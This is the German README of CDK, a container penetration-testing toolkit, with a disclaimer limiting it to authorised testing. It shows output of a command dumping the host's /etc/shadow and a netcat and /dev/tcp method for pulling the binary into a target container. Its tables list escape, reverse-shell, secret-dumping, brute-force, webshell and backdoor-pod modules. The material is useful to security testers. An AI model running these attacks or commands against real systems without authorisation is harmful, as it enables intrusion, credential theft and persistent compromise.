
📦 Erleichtern Sie die Sicherheitstests von K8s, Docker und Containerd.
English | 简体中文

Die Nutzung von CDK zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. CDK dient ausschließlich Sicherheitstestzwecken.
CDK ist ein quelloffenes Toolkit für Container-Penetration, das für stabile Ausnutzung in verschiedenen abgespeckten Containern ohne Betriebssystemabhängigkeiten entwickelt wurde. Es enthält nützliche Netzwerktools und viele leistungsstarke PoCs/Exploits und hilft Ihnen, Container zu entkommen und K8s-Cluster einfach zu übernehmen.
Führen Sie cdk eva aus, um Bewertungsinformationen und einen empfohlenen Exploit zu erhalten, und führen Sie dann cdk run aus, um den Angriff zu starten.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
Laden Sie die neueste Version unter https://github.com/cdk-team/CDK/releases/ herunter.
Legen Sie die ausführbaren Dateien in den Zielcontainer und starten Sie die Tests.
Wenn Sie einen Exploit haben, der eine Datei hochladen kann, können Sie das CDK-Binary direkt hochladen.
Wenn Sie einen RCE-Exploit haben, aber der Zielcontainer kein curl oder wget besitzt, können Sie CDK mit der folgenden Methode ausliefern:
(auf Ihrem Host)
nc -lvp 999 < cdk
cat < /dev/tcp/(Ihre_öffentliche_Host_IP)/(Port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK besteht aus drei Modulen:
Verwendung
cdk evaluate [--full]
Liste aller verfügbaren Exploits:
cdk run --list
Gezielten Exploit ausführen:
cdk run <script-name> [options]
Anmerkung zu Thin: Die Thin-Version ist für kurzlebige Container-Shells wie Serverless-Funktionen vorbereitet. Wir haben Build-Tags im Quellcode hinzugefügt und einige Exploits entfernt, um das Binary leichter zu machen. Die 2-MB-Datei enthält 90% der CDK-Funktionen. Sie können auch nützliche Exploits aus dem CDK-Quellcode auswählen, um Ihr eigenes leichtgewichtiges Binary zu erstellen.
Befehle wie unter Linux ausführen, Unterschiede in den Eingabeargumenten – siehe Verwendungslink.
cdk nc [options]
cdk ps
Wenn Sie wissen möchten, wie wir eine neue Version veröffentlicht haben, wie Thin erstellt wird, warum wir UPX-Versionen anbieten, welche Unterschiede zwischen den verschiedenen Versionen (all, normal, thin, upx) bestehen und wie Sie bestimmte CDK-Exploits und -Tools auswählen, um ein eigenes Release zu kompilieren, lesen Sie bitte das Release-Dokument.
Zunächst einmal: Danke, dass Sie sich die Zeit nehmen, mitzuwirken!
Danke an die folgenden Mitwirkenden:
Weitere Mitwirkende: Liste der Mitwirkenden
Fehler werden als GitHub Issues erfasst. Erstellen Sie ein Issue mit der aktuellen CDK-Version, der Fehlermeldung und der Umgebung. Beschreiben Sie die genauen Schritte, die das Problem reproduzieren.
Verbesserungsvorschläge werden als GitHub Discussions erfasst. Sie können hier Gedanken veröffentlichen, um direkt mit Entwicklern zu diskutieren.
Beheben Sie Probleme oder erhalten Sie die Qualität von CDK:
Neue Funktionen oder Exploits:

Das CDK-Projekt ist jetzt im Starlink Project 2.0 des 404Teams enthalten. Treten Sie der StarLink-Community bei, um mit dem CDK-Entwicklungsteam in Kontakt zu treten.
| Taktik | Skript | Unterstützt | Verwendung/Beispiel |
|---|
| Informationssammlung | OS-Grundinformationen | ✔ | Link |
| Informationssammlung | Verfügbare Capabilities | ✔ | Link |
| Informationssammlung | Verfügbare Linux-Befehle | ✔ | Link |
| Informationssammlung | Mounts | ✔ | Link |
| Informationssammlung | Net Namespace | ✔ | Link |
| Informationssammlung | Sensitive ENV | ✔ | Link |
| Informationssammlung | Sensitive Prozesse | ✔ | Link |
| Informationssammlung | Sensitive lokale Dateien | ✔ | Link |
| Informationssammlung | Kube-proxy Route Localnet (CVE-2020-8558) | ✔ | Link |
| Informationssammlung | DNS-basierte Service-Discovery | ✔ | Link |
| Discovery | K8s Api-Server-Informationen | ✔ | Link |
| Discovery | K8s Service-Account-Informationen | ✔ | Link |
| Discovery | Cloud-Provider-Metadaten-API | ✔ | Link |
| Taktik | Technik | CDK-Exploit-Name | Unterstützt | In Thin | Dokumentation |
|---|
| Escaping | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| Escaping | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | Link | |
| Escaping | docker.sock PoC (DIND-Angriff) | docker-sock-check | ✔ | ✔ | Link |
| Escaping | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | Link |
| Escaping | Docker-API (2375) RCE | docker-api-pwn | ✔ | ✔ | Link |
| Escaping | Device-Mount-Escaping | mount-disk | ✔ | ✔ | Link |
| Escaping | LXCFS-Escaping | lxcfs-rw | ✔ | ✔ | Link |
| Escaping | Cgroups-Escaping | mount-cgroup | ✔ | ✔ | Link |
| Escaping | Missbrauch von nicht privilegierten User Namespaces (CVE-2022-0492) | abuse-unpriv-userns | ✔ | ✔ | Link |
| Escaping | Procfs-Escaping | mount-procfs | ✔ | ✔ | Link |
| Escaping | Ptrace-Escaping PoC | check-ptrace | ✔ | ✔ | Link |
| Escaping | Cgroup (devices.allow) überschreiben | rewrite-cgroup-devices | ✔ | ✔ | Link |
| Escaping | Beliebige Datei vom Hostsystem lesen (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | Link |
| Discovery | K8s-Komponenten-Probe | service-probe | ✔ | ✔ | Link |
| Discovery | Istio-Seitenwagen-Metadaten auslesen | istio-check | ✔ | ✔ | Link |
| Discovery | K8s-Pod-Sicherheitsrichtlinien auslesen | k8s-psp-dump | ✔ | Link | |
| Fernsteuerung | Reverse Shell | reverse-shell | ✔ | ✔ | Link |
| Fernsteuerung | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| Zugriff auf Anmeldedaten | Registry-BruteForce | registry-brute | ✔ | ✔ | Link |
| Zugriff auf Anmeldedaten | Zugriffsschlüssel-Scanning | ak-leakage | ✔ | ✔ | Link |
| Zugriff auf Anmeldedaten | Etcd K8s-Token abrufen | etcd-get-k8s-token | ✔ | ✔ | |
| Zugriff auf Anmeldedaten | K8s-Secrets auslesen | k8s-secret-dump | ✔ | ✔ | Link |
| Zugriff auf Anmeldedaten | K8s-Config auslesen | k8s-configmap-dump | ✔ | ✔ | Link |
| Privilegieneskalation | K8s-RBAC-Bypass | k8s-get-sa-token | ✔ | ✔ | Link |
| Privilegieneskalation | CVE-2026-31431 copy-fail (non-root→root & nur x86_64) | copy-fail-cve-2026-31431 | ✔ | Link | |
| Persistenz | WebShell bereitstellen | webshell-deploy | ✔ | ✔ | Link |
| Persistenz | Backdoor-Pod bereitstellen | k8s-backdoor-daemonset | ✔ | ✔ | Link |
| Persistenz | Schatten-K8s-API-Server bereitstellen | k8s-shadow-apiserver | ✔ | Link | |
| Persistenz | K8s-MITM-Angriff (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | Link |
| Persistenz | K8s-CronJob bereitstellen | k8s-cronjob | ✔ | ✔ | Link |
| Befehl | Beschreibung | Unterstützt | Verwendung/Beispiel |
|---|
| nc | TCP-Tunnel | ✔ | Link |
| ps | Prozessinformationen | ✔ | Link |
| netstat | Wie Befehl "netstat -antup" | ✔ | |
| ifconfig | Netzwerkinformationen | ✔ | Link |
| vi | Dateien bearbeiten | ✔ | Link |
| ectl | Unbefugtes Aufzählen von etcd-Schlüsseln | ✔ | |
| kcurl | Anfrage an K8s-API-Server | ✔ | Link |
| dcurl | Anfrage an Docker-HTTP-API | ✔ | Link |
| ucurl | Anfrage an Docker-Unix-Socket | ✔ | Link |
| rcurl | Anfrage an Docker-Registry-API | ||
| probe | IP/Port-Scanning | ✔ | Link |